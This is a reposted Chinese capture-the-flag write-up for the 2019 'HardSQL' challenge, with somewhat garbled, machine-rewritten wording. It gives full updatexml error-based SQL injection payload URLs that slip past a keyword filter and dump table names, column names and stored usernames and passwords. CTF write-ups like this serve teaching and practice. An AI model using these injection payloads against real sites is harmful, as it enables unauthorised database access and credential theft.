首页 » 网站推广 » phpcheckusername技巧_极客大年夜寻衅 2019HardSQL

phpcheckusername技巧_极客大年夜寻衅 2019HardSQL

访客 2024-11-19 0

扫一扫用手机浏览

文章目录 [+]

测试了下万能密码登录,无果,有WAF拦截,那接下来便是绕过WAF。

先抓包用bp进行FUZZ,看看有那些没有被拦截的函数。
通过手工FUZZ和bpFUZZ结合,创造过滤了and、= 空格 union等多个sql关键字。

phpcheckusername技巧_极客大年夜寻衅 2019HardSQL

创造有一些,报错注入的函数是没有被过滤的,那我们这题就可以通过报错注入来进行注入。

phpcheckusername技巧_极客大年夜寻衅 2019HardSQL
(图片来自网络侵删)

这里我们利用updatexml函数进行报错注入。

payload

#查看数据库信息

#查看数据库里面的表http://2d43986a-ef4e-4759-9fa4-8443817eb39a.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123

#查看数据表中的字段http://2d43986a-ef4e-4759-9fa4-8443817eb39a.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=123

#查询字段里面的内容http://2d43986a-ef4e-4759-9fa4-8443817eb39a.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(username,%27~%27,password))from(H4rDsq1)),0x7e),1))%23&password=123

由于报错注入对报错出的内容有长度限定,以是我们用left()right()语句分别查询,然后再进行flag的拼接。

#righehttp://2d43986a-ef4e-4759-9fa4-8443817eb39a.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123

拼接即可得到flag

原文:[极客大寻衅 2019]HardSQL - 随风kali - 博客园

相关文章

介绍滔五笔,传承与创新并行的汉字输入法

随着科技的飞速发展,计算机已成为我们生活中不可或缺的工具。在众多汉字输入法中,滔五笔以其独特的优势和传承创新的精神,赢得了广大用户...

网站推广 2025-01-03 阅读0 评论0